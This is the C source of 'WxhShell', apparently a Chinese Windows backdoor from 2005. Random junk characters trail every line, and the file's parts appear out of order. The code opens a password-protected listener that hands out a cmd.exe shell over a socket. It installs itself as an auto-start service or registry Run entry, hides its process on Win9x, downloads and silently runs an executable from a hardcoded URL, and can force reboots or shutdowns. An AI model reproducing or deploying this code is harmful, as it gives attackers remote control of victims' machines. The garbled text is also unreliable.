    closesocket(wsh); }!2|*Y  
    ExitThread(0); :r|dXW  
    } bO-8<IjC_3  
    break; ==$Ox6.  
    } FC(m)S2  
  // 获取shell KxY|:-"Tt  
  case 's': { `P'{HT  
    CmdShell(wsh);  ?9AByg  
    closesocket(wsh); #x'C  
    ExitThread(0); xe 6x!  
    break; sO6+L #!  
  } 4p F%G  
  // 退出 7bTs+C_;7  
  case 'x': { iXBc ~S  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O^LzS&I*  
    CloseIt(wsh); F7mzBrz  
    break; r&^4L  
    } ~=}56yxl[  
  // 离开 J9{B  
  case 'q': { p_[k^@ $  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a-hF/~84S:  
    closesocket(wsh); ym-212wl  
    WSACleanup(); Hd4&"oeY  
    exit(1); ~fr1O`8  
    break; jLZ+HYyG9  
        } U,)+wZJ  
  } Dtn|$g,  
  } Q7i^VN  
!DLIIKO78  
  // 提示信息 -O oXb( I4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D`Fl*Wc4H  
} u U\UULH0  
  } Q5baY\"9^  
pS51fF9  
  return; %2V_%KA  
} mz>"4-]  
7kleBDDT  
// shell模块句柄 1&wLNZXH  
int CmdShell(SOCKET sock) ;IwC`!(#  
{ ,VbP$1t  
STARTUPINFO si; +i{&"o4}  
ZeroMemory(&si,sizeof(si)); }Vg &9HY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cJL>,Z<|%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @aI`ru+a  
PROCESS_INFORMATION ProcessInfo; yh} V u  
char cmdline[]="cmd"; aMT&}3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9Lv`3J^~  
  return 0; }&ZO q'B  
} $YFn$.70\  
GT`:3L  
// 自身启动模式 /SSl$  
int StartFromService(void) Hz28L$  
{ UtY< R  
typedef struct :*Sl\:_X)  
{ XVE(p3-  
  DWORD ExitStatus; z9E*Mh(NE  
  DWORD PebBaseAddress; RfFeAg,]/  
  DWORD AffinityMask; 5q@o,d  
  DWORD BasePriority; i x,5-j  
  ULONG UniqueProcessId; ."cC^og  
  ULONG InheritedFromUniqueProcessId; ig3uY#  
}   PROCESS_BASIC_INFORMATION; ,f4Hl%T;  
e>X&[\T  
PROCNTQSIP NtQueryInformationProcess; y1FS?hSD0  
D L<r2h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4,UvTw*2z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Bz]j&`  
JoIffI?{(D  
  HANDLE             hProcess; *=)%T(^  
  PROCESS_BASIC_INFORMATION pbi; yn"8Ma*  
eCdMDSFO3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ig*!0(v5$  
  if(NULL == hInst ) return 0; x>7}>Y*(  
HtPasFrJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); UjUDP>iz.>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]#KZ W)M  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ez+.tbEA,  
XoL9:s(m~  
  if (!NtQueryInformationProcess) return 0; ;}WdxWw4  
`TBau:ElI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); LQ373 j-  
  if(!hProcess) return 0; ~O&3OL:L  
!/sXG\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g/J ^ YT!  
Q(>89*b&  
  CloseHandle(hProcess); JM@MNS_||(  
Nq Ve{+1x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); m<hR Lo  
if(hProcess==NULL) return 0; |?i-y3N  
]t(;bD hT  
HMODULE hMod; `pOiv&>  
char procName[255]; =;`+^  
unsigned long cbNeeded; c5nl!0XX  
eBlVb*nmq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); CZuV{Oh}?  
vrLI`3n]  
  CloseHandle(hProcess); 1s"6  
&FW|O(]  
if(strstr(procName,"services")) return 1; // 以服务启动 *C}vy`X  
d*4fl.  
  return 0; // 注册表启动 T\NvN&h-  
} h,LwC9  
?1JS*LQ$  
// 主模块 DgGGrV`  
int StartWxhshell(LPSTR lpCmdLine) now\-XrS  
{ a}c.]zm]  
  SOCKET wsl; T&j_7Q\;vI  
BOOL val=TRUE; "at*G>+  
  int port=0; \J.PrE'(}  
  struct sockaddr_in door; 7 &DhEI ^  
&>XIK8*  
  if(wscfg.ws_autoins) Install(); eZ8~t/8  
^~E?7{BL  
port=atoi(lpCmdLine); Z4b<$t[u  
#"jEc*&=  
if(port<=0) port=wscfg.ws_port; ckHHD|  
h}nceH0s3d  
  WSADATA data; >T'^&l(:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; CuR.a  
Wz`MEyj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Z ^zUb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9~J  
  door.sin_family = AF_INET; 3){ /u$iH.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Xb@lKX5Re  
  door.sin_port = htons(port); )#%k/4(Y  
/{gCf  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /4}{SE  
closesocket(wsl); _e E(P1  
return 1; xxpvVb)mF  
} %3M1zZY  
H.3+5 po  
  if(listen(wsl,2) == INVALID_SOCKET) { A'^y+42jY  
closesocket(wsl); 8vjaQ5  
return 1; D~P I_*h.  
} KP(RK4F  
  Wxhshell(wsl); c*sK| U7)  
  WSACleanup(); p(g0+.?`~  
mR\rK&'6  
return 0; @zSI@Oq_  
+l+8Z:i<  
} Vv8e"S  
zUF%`CR  
// 以NT服务方式启动 ?j6?KR@#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yj13>"nh  
{ @*`9!K%  
DWORD   status = 0; =87.6Ai  
  DWORD   specificError = 0xfffffff; -rb]<FrL^  
BG\g`NK}Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xXp$Nm]:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ckY,6e"6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ( qG | .a  
  serviceStatus.dwWin32ExitCode     = 0; i"V2=jTeBv  
  serviceStatus.dwServiceSpecificExitCode = 0; @F%H 1  
  serviceStatus.dwCheckPoint       = 0; X458%)G!(K  
  serviceStatus.dwWaitHint       = 0; w 4-E@>%  
G$kspN*"A  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2Z!%Q}Do  
  if (hServiceStatusHandle==0) return; ^vw? 4O  
V4@ HIM  
status = GetLastError(); wH&[Tg  
  if (status!=NO_ERROR) Z#0hh%E"|y  
{ n%yMf!M .:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |E/U(VS3l~  
    serviceStatus.dwCheckPoint       = 0; <!gq9  
    serviceStatus.dwWaitHint       = 0; WP{!|d&  
    serviceStatus.dwWin32ExitCode     = status; Xk8+  
    serviceStatus.dwServiceSpecificExitCode = specificError; _?$P?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q}.zE+  
    return; f4eLnY  
  } qw={gZ  
cyu)YxT  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hYO UuC  
  serviceStatus.dwCheckPoint       = 0; tu {y  
  serviceStatus.dwWaitHint       = 0; yyCx;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $Pv;>fHu  
} m/vwM"  
\i%h/Ao  
// 处理NT服务事件,比如:启动、停止 O {u^&V]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) DY<Br;  
{ Huzw>  
switch(fdwControl) Q%:#xG5AmE  
{ 8JvF4'zx  
case SERVICE_CONTROL_STOP: H~y 7o_tg  
  serviceStatus.dwWin32ExitCode = 0; s"G;rcS}#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; l;_zXN   
  serviceStatus.dwCheckPoint   = 0;  (o`"s~)  
  serviceStatus.dwWaitHint     = 0; ,-,BtfE3  
  { :wtr{,9rZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N&ZIsaK,j  
  } G4DuqN~2m  
  return; sY,q*}SLD  
case SERVICE_CONTROL_PAUSE: )xtDiDB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2\ 3}y(  
  break; (NPDgR/  
case SERVICE_CONTROL_CONTINUE: qC<!!473?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $7 1(g$6#  
  break; ETQ.A< v  
case SERVICE_CONTROL_INTERROGATE: H3< `  
  break; DY]\@<ez  
}; Gc6`]7 s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Id-?her>B  
} V0y Q  
TXx%\V_6  
// 标准应用程序主函数 B]jI^( P  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >:7W.QLRU  
{ --Dd'  
T 9lk&7W  
// 获取操作系统版本 A'(v]w  
OsIsNt=GetOsVer(); U-+%e:v  
GetModuleFileName(NULL,ExeFile,MAX_PATH); uEp v l  
n$>E'oG2 t  
  // 从命令行安装 v"x{oD$R  
  if(strpbrk(lpCmdLine,"iI")) Install(); zSs5F_  
#IH7WaN  
  // 下载执行文件 ;yh}$)^9  
if(wscfg.ws_downexe) { @#sBom+K`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |4RuT .-o  
  WinExec(wscfg.ws_filenam,SW_HIDE); ai/VbV'|  
} zQsu~8PX  
XHq8p[F  
if(!OsIsNt) { GS1Vcav<  
// 如果时win9x,隐藏进程并且设置为注册表启动 Q 5R7se_  
HideProc(); +Fu=9j/,j  
StartWxhshell(lpCmdLine); Sw!/ I PO  
} hN% h.;s  
else bqB gq  
  if(StartFromService()) 4E&= qC]S  
  // 以服务方式启动 jTjGbC]X  
  StartServiceCtrlDispatcher(DispatchTable); %\xwu(|kN  
else !L5[s  
  // 普通方式启动 c o}o$}  
  StartWxhshell(lpCmdLine); 4.@gV/U(|  
I^'U_"vB  
return 0; N[G<&f9  
} 8p3pw=p  
cZn B 2T?  
=l&A9 >\  
tF> ?]  
=========================================== Rx e sK  
6.fahg?E  
+{* @36A5A  
`9%Q2Al  
Mq7d*Bgb  
+/idq  
" mRI W9V  
JvFU7`4@  
#include <stdio.h> i,G )kt'H  
#include <string.h> &W1{o&  
#include <windows.h> {. r/tV5IH  
#include <winsock2.h> N?j,'gy4  
#include <winsvc.h> ;dq AmBG{8  
#include <urlmon.h> |BysSJ  
K>H_q@-?f  
#pragma comment (lib, "Ws2_32.lib") X2#;1 ku  
#pragma comment (lib, "urlmon.lib") /mST<{(_G\  
:hB 8hTw]p  
#define MAX_USER   100 // 最大客户端连接数 -u6`B -T  
#define BUF_SOCK   200 // sock buffer 23a&m04Rk  
#define KEY_BUFF   255 // 输入 buffer lqC a%V  
c" mRMDg%  
#define REBOOT     0   // 重启 z` b. ~<P  
#define SHUTDOWN   1   // 关机 ]sz3:p=5  
Vab+58s5  
#define DEF_PORT   5000 // 监听端口 4v#3UG  
EFl[u+ 1tx  
#define REG_LEN     16   // 注册表键长度 /?b<}am  
#define SVC_LEN     80   // NT服务名长度 =A,32&;@N  
V0p@wG3  
// 从dll定义API Q^q G=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); x)@G+I \u  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @21G[!%J  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5p&&EA/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V%~u8b  
f#xqu +)Z  
// wxhshell配置信息 F*WW v&\X  
struct WSCFG { qcxq-HS2'  
  int ws_port;         // 监听端口 Zxw>|eKI>D  
  char ws_passstr[REG_LEN]; // 口令 _"`wUMee  
  int ws_autoins;       // 安装标记, 1=yes 0=no 54 8w v  
  char ws_regname[REG_LEN]; // 注册表键名 1KxtHLLU  
  char ws_svcname[REG_LEN]; // 服务名 B8'(3&)My  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 MI[=,0`D  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %v++AcE  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @:DS/#!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no fT.5@RR7^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9.5hQZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 B1@c`BJ;9T  
>iP>v`J  
}; i>bFQ1Rdx  
$jb3#Rj4  
// default Wxhshell configuration ?9q{b\=l  
struct WSCFG wscfg={DEF_PORT, z41 p $  
    "xuhuanlingzhe", gM|X":j  
    1, k|l"Rh<\~  
    "Wxhshell", p\e*eV1dxx  
    "Wxhshell", &,':@OQ  
            "WxhShell Service", (bo{vX  
    "Wrsky Windows CmdShell Service", Tr}@fa  
    "Please Input Your Password: ", Rk fr4  
  1, _:om(gL  
  "http://www.wrsky.com/wxhshell.exe", 8<u_ wt@  
  "Wxhshell.exe" ~S Js2- 2  
    }; di6A.N5A  
BzH7E[R49  
// 消息定义模块 9s)YPlDz  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .a:Oj3=0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; B\bIMjXV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {: EQ  
char *msg_ws_ext="\n\rExit."; <PkDfMx2  
char *msg_ws_end="\n\rQuit."; )_EQU8D4ug  
char *msg_ws_boot="\n\rReboot..."; 1p,G8v+B  
char *msg_ws_poff="\n\rShutdown..."; `xbk)oW#  
char *msg_ws_down="\n\rSave to "; EAFKf*K=  
w&;\}IS  
char *msg_ws_err="\n\rErr!"; <R~(6krJwZ  
char *msg_ws_ok="\n\rOK!"; ,<zZKR_  
ja2LQe@ Q  
char ExeFile[MAX_PATH]; \@4QG.3&  
int nUser = 0; zqYfgV  
HANDLE handles[MAX_USER]; d; @Kz^  
int OsIsNt; o <LA2 q`T  
ihH!"HH+  
SERVICE_STATUS       serviceStatus; b]6;:Q!d  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; />\.zuAr&  
J8a4.prqI  
// 函数声明 Z.m.Uyz{7  
int Install(void); D8W:mAGEu  
int Uninstall(void); I_xJ[ALdm  
int DownloadFile(char *sURL, SOCKET wsh); y)U8\  
int Boot(int flag); O3*Vilx  
void HideProc(void); -tx)7KV-  
int GetOsVer(void); =fBJQK2sk  
int Wxhshell(SOCKET wsl); @6.1EK0  
void TalkWithClient(void *cs); B7t#H?  
int CmdShell(SOCKET sock); %{/0K<M  
int StartFromService(void); ' 7>}I{Lq  
int StartWxhshell(LPSTR lpCmdLine); l;Zc[6  
CT4R/wzY7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )+w0NhJw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r3ZY` zf  
#eE:hiu<v  
// 数据结构和表定义 "DWw1{ 5/  
SERVICE_TABLE_ENTRY DispatchTable[] = oB3>0Pm*a.  
{  wb4 4  
{wscfg.ws_svcname, NTServiceMain}, . 36'=K  
{NULL, NULL} OY~5o&Oa  
}; ?vf{v  
WP^%[?S2  
// 自我安装 UDyvTfh1X  
int Install(void) y9\s[}c_  
{ _* 4 <  
  char svExeFile[MAX_PATH]; )#3 ,y6  
  HKEY key; TdD-# |5  
  strcpy(svExeFile,ExeFile); oB9Fas!N  
!9iVe7V  
// 如果是win9x系统,修改注册表设为自启动 ,`+y4Z6`W2  
if(!OsIsNt) { *JO"8iLw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XA9$n_| bw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zZ-e2)1v  
  RegCloseKey(key); 9FV#@uA}D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `-ENKr]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lu-VBVwR  
  RegCloseKey(key); 5bmtUIj  
  return 0; m !;mEBL{  
    } @ n;WVG  
  } H3OH  
} Kt}dTpVFr  
else { pJ_Z[}d)c  
FG#E?G  
// 如果是NT以上系统,安装为系统服务 5+%BZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P'ZWAxd  
if (schSCManager!=0) aKCCFHq t!  
{ WlZ[9,:p1  
  SC_HANDLE schService = CreateService Q1eiU Y6  
  ( |7%$+g  
  schSCManager, WHAEB1c#Q  
  wscfg.ws_svcname, f.+e  
  wscfg.ws_svcdisp, l`$f@'k  
  SERVICE_ALL_ACCESS, ci3{k"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9M01}  
  SERVICE_AUTO_START, X[;4.imE  
  SERVICE_ERROR_NORMAL, b@,=;Y)O  
  svExeFile, ,b{G(sF  
  NULL, RSmxwx^  
  NULL, MiOSSl};  
  NULL, wV56LW  
  NULL, HTx7._b  
  NULL o ]Vx6  
  ); 0TA/ExJ-LT  
  if (schService!=0) !2&h=;i~V  
  { k7y!! AV  
  CloseServiceHandle(schService); 62vz 'b  
  CloseServiceHandle(schSCManager); y ImriCT  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sMO3eNLn  
  strcat(svExeFile,wscfg.ws_svcname); \UB<'~z6!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  XyhO d$)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M;Vx[s,#,  
  RegCloseKey(key); d\Dxmb]o  
  return 0; 6oUT+^z#  
    } 2?-}(F;Z  
  } ol`]6"Sc  
  CloseServiceHandle(schSCManager); ^Gs!"Y  
} _5 y)m5I  
} 3'&]v6|  
iQa Q"s  
return 1; HM[BFF[;/  
} kFk+TXLDIt  
E) z g,7Y  
// 自我卸载 >{GC@Cw  
int Uninstall(void) lBh {8a|2W  
{ O4$: xjs  
  HKEY key; u%*;gu"2  
=}c~BHT  
if(!OsIsNt) { )XO2DY1/&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R!$j_H  
  RegDeleteValue(key,wscfg.ws_regname); _TX.}167;-  
  RegCloseKey(key); /Zv}u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GB[W'QGiq  
  RegDeleteValue(key,wscfg.ws_regname); U}Hmzb  
  RegCloseKey(key); c yN_Sg  
  return 0; f$WO{ J  
  } CtSAo\F  
} F1Z20)8K  
} A0[flIl  
else { Y}f%/vus  
U_I'Nz!^ t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); CB|z{(&N  
if (schSCManager!=0) j@9nX4Z  
{ l_f"}l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); oN _% oc  
  if (schService!=0) {I2jLc  
  { kc "U)>  
  if(DeleteService(schService)!=0) { \*_a#4a  
  CloseServiceHandle(schService); ![Jxh,f  
  CloseServiceHandle(schSCManager); *2@ q=R-1  
  return 0; <,cDEN7  
  }  ;\iQZ~   
  CloseServiceHandle(schService); lXz<jt@5  
  } $ \P!P.  
  CloseServiceHandle(schSCManager); .)W8 U [  
} s@3!G+ -}  
} <w,aS;v6jp  
 &$+yXN  
return 1; 1y?TyUP  
} @8_K^3-~e  
pCg0xbc`  
// 从指定url下载文件 zSq+#O1#  
int DownloadFile(char *sURL, SOCKET wsh) j f^fj-  
{ 14^t{  
  HRESULT hr; o^AK@\e:^Z  
char seps[]= "/"; zR`]8E]  
char *token; .+M4P i  
char *file; ^rxXAc[  
char myURL[MAX_PATH]; DsFrA]  
char myFILE[MAX_PATH]; ^|gN?:fA}  
=CqLZ$10  
strcpy(myURL,sURL); da 2BQ;  
  token=strtok(myURL,seps); !A<?nz Uv  
  while(token!=NULL) wPG3Ap8L  
  { !J6k\$r  
    file=token; "+HZ~:~f  
  token=strtok(NULL,seps); K): )bL(B  
  } 7tt&/k?Q  
e1'_]   
GetCurrentDirectory(MAX_PATH,myFILE); *~-~kv4-  
strcat(myFILE, "\\"); S*\`LBl"nX  
strcat(myFILE, file); Z&}94  
  send(wsh,myFILE,strlen(myFILE),0); 2KPXRK  
send(wsh,"...",3,0); 8ztY_"]3p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #U6Wv1H{Lp  
  if(hr==S_OK) ;>Kxl}+R  
return 0; f:HRrKf9  
else zfxxPL'  
return 1; 02=eE|Y@  
Zo&U3b{Dy  
} 2 K` hH  
$%!]tNGS  
// 系统电源模块 NVOY,g=3X  
int Boot(int flag) u/,m2N9cL  
{ jN B-FVaT  
  HANDLE hToken; ZB%7Sr0  
  TOKEN_PRIVILEGES tkp; < Gu s9^_  
\9 ^w M>U  
  if(OsIsNt) { UHxXa*HyI  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Pu}2%P)p  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `[`eg<xj  
    tkp.PrivilegeCount = 1; Wk$%0xZ7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; XfY]qQP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E7 7Au;TL  
if(flag==REBOOT) { X+hyUz(%R  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ejn19{  
  return 0; t4 aa5@r  
} L%=u&9DmU  
else { CaK 0o*D  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) EJN}$|*Av  
  return 0; ==Y^~ab;K  
} = [:ruE  
  } a7M8sZ?"  
  else { iXXgPapz  
if(flag==REBOOT) { JZai{0se  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9v/1>rziE  
  return 0; m@TU2  
} hL&z"_`  
else { jg2>=}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =o9 %)  
  return 0; g.z/%Lp K  
} 1k;X*r#  
} J/)Q{*`_  
k2O==IG]6  
return 1; sdrE4-zd  
} QhN5t/Hr  
tn:tM5m  
// win9x进程隐藏模块 M|e@N  
void HideProc(void) $ABW|r  
{ r1t  TY?  
UF0PWpuO  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); rw58bkh6  
  if ( hKernel != NULL ) V>z8 *28S.  
  { x.}iSE{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Uv.{=H:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5J1,Usm  
    FreeLibrary(hKernel); tX6n~NJ$  
  } -u8 ma%JW  
6$`8y,TMSt  
return; ^Z;5e@S  
} a^|mF# z  
0urQA_JC  
// 获取操作系统版本 o2&mhT  
int GetOsVer(void) 'Kc;~a  
{ ~kF^0-JZY  
  OSVERSIONINFO winfo; (AV j_Cw  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); UDGVq S!,E  
  GetVersionEx(&winfo); %~G)xK?W*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y+lZT4w  
  return 1; y1@{(CDp"  
  else vr2tMD  
  return 0; W!htCwnkF  
} 2gukK8R$  
Fb.wm   
// 客户端句柄模块 UG 9uNgzQ/  
int Wxhshell(SOCKET wsl)  ig jr=e  
{ Pv/$ ;R%  
  SOCKET wsh; 5_0Eh!sx  
  struct sockaddr_in client; 51l:  
  DWORD myID; kwWDGA?zFB  
AvH^9zEE(  
  while(nUser<MAX_USER) qy/xJ>:  
{ r m\]  
  int nSize=sizeof(client); _KLKa/3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8+^q9rLii  
  if(wsh==INVALID_SOCKET) return 1; RQ!kVM@  
=J<3B H^m  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); PA&Ev0`+  
if(handles[nUser]==0) 1H{J T op  
  closesocket(wsh); 2w+w'Ag_R  
else (HDR}!.E  
  nUser++; i=nd][1n  
  } ?7*.S Lt  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5{L~e>oS9  
]]V|[g&aJ  
  return 0; 6 -N 442  
} :)p\a1I[*  
4*P#3 B'@V  
// 关闭 socket #8i DM5:EQ  
void CloseIt(SOCKET wsh) )pbsvR_  
{ nD{o8;  
closesocket(wsh); jH({Qc,97  
nUser--; gwm!Pw j  
ExitThread(0); X0.kQ  
} *%E4 ,(T  
4hz T4!15  
// 客户端请求句柄 P XKEqcQR  
void TalkWithClient(void *cs) gE\&[;)DB  
{ #p*D.We  
+DU^"q=  
  SOCKET wsh=(SOCKET)cs; [0qe ?aI  
  char pwd[SVC_LEN]; e];lDa#4-Y  
  char cmd[KEY_BUFF]; ) [+82~F  
char chr[1]; ";yey]  
int i,j; u0zF::  
tp*.'p-SI  
  while (nUser < MAX_USER) { :m]H?vq] \  
T\?$7$/V  
if(wscfg.ws_passstr) { .o8Sy2PaV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?I{L^j^#4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \| &KD  
  //ZeroMemory(pwd,KEY_BUFF); N?`V;`[  
      i=0; WPI<SsLd  
  while(i<SVC_LEN) { . |%n"{  
f$ 9O0,}%O  
  // 设置超时 ``4e&  
  fd_set FdRead; ;x%"o[[>  
  struct timeval TimeOut; SO4?3wg7  
  FD_ZERO(&FdRead); EM QGP<[  
  FD_SET(wsh,&FdRead); \Kr8k`f  
  TimeOut.tv_sec=8; B\S}*IE  
  TimeOut.tv_usec=0; 0xVw{k}1U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); & OYo  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); x<5ARK6\=  
%|j`z?i|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y^Uh<L0M  
  pwd=chr[0]; U}@xMt8@l  
  if(chr[0]==0xd || chr[0]==0xa) { *IX<&u#  
  pwd=0; v|\3FEu@  
  break; aKjP{Z0k$  
  } 2Pow-o*r  
  i++; )G#mC0?PV  
    } ];xDXQd  
qYoB;gp  
  // 如果是非法用户,关闭 socket ^G|* =~_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); bd]9 kRq1K  
} 4>A|2+K\  
!]5}N^X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @<NuuYQ&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xii>?sA5Z"  
5`Q j<   
while(1) { t:MSV?  
v5>A1\  
  ZeroMemory(cmd,KEY_BUFF); \?SvO  
e,N}z  
      // 自动支持客户端 telnet标准   is }>+&_  
  j=0; WP2=1"X63  
  while(j<KEY_BUFF) { G/*;h,NbNr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DA1?M'N  
  cmd[j]=chr[0]; .7]P-]uOZ  
  if(chr[0]==0xa || chr[0]==0xd) { o?Aj6fNY?  
  cmd[j]=0; Z1#u&oX  
  break; ~8s2p%~  
  } <d @9[]  
  j++; o^XDG^35`  
    } K!]a+M]>  
fIl;qGz85  
  // 下载文件 WQ{[q" O  
  if(strstr(cmd,"http://")) { w A\5-C7 j  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z/u^  
  if(DownloadFile(cmd,wsh)) 8N%nG( 0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); W1 k]P.  
  else )adV`V%=>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `^52I kM)  
  } D/?Ec\ t  
  else { 8[;vC$  
,DZvBS  
    switch(cmd[0]) { <+k"3r{y"  
  H4s~=iB  
  // 帮助 gVrQAcJj  
